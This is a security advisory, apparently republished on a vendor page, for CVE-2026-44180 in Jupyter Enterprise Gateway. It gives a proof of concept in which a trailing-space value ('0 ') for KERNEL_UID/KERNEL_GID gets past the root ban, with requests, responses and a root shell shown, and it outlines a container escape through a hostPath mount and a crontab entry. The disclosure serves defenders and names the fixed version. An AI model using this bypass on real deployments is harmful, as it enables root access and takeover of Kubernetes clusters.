Summary
Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).
This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNEL_UID or KERNEL_GID value.
The feature is described in the documentation:
Details
The prohibited_uids and prohibited_uids are set based of the OS env var EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS, and default to the string 0.
The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied KERNEL_UID / KERNEL_GID string in the prohibited_uids / prohibited_gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).
The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.
PoC
How it is meant to work
Trying 0 gets denied, as expected.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
"message": ""
}
Exploit bypassing the checks
Using 0 with a trailing space, bypasses the check.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'
HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"id": "17eee032-994f-4dd2-8ade-87169c300a40",
"name": "python_kubernetes",
"last_activity": "2025-07-14T14:15:21.468155Z",
"execution_state": "starting",
"connections": 0
}
The pod is successfully scheduled.
Inspecting the container we can see it is running as root:
kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)
If we had not supplied the KERNEL_UID / KERNEL_GID the container would have been running as UID:GID 1000:100 (jovyan:users).
Impact
This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.
Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNEL_UID and KERNEL_GID variables with the EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS feature.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-44180 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-44180? CVE-2026-44180 is a critical-severity improper input validation vulnerability in jupyter_enterprise_gateway (pip), affecting versions >= 2.0.0rc1, < 3.3.0. It is fixed in 3.3.0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-44180? CVE-2026-44180 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of jupyter_enterprise_gateway are affected by CVE-2026-44180? jupyter_enterprise_gateway (pip) versions >= 2.0.0rc1, < 3.3.0 is affected.
- Is there a fix for CVE-2026-44180? Yes. CVE-2026-44180 is fixed in 3.3.0. Upgrade to this version or later.
- Is CVE-2026-44180 exploitable, and should I be worried? Whether CVE-2026-44180 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44180 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44180? Upgrade
jupyter_enterprise_gatewayto 3.3.0 or later.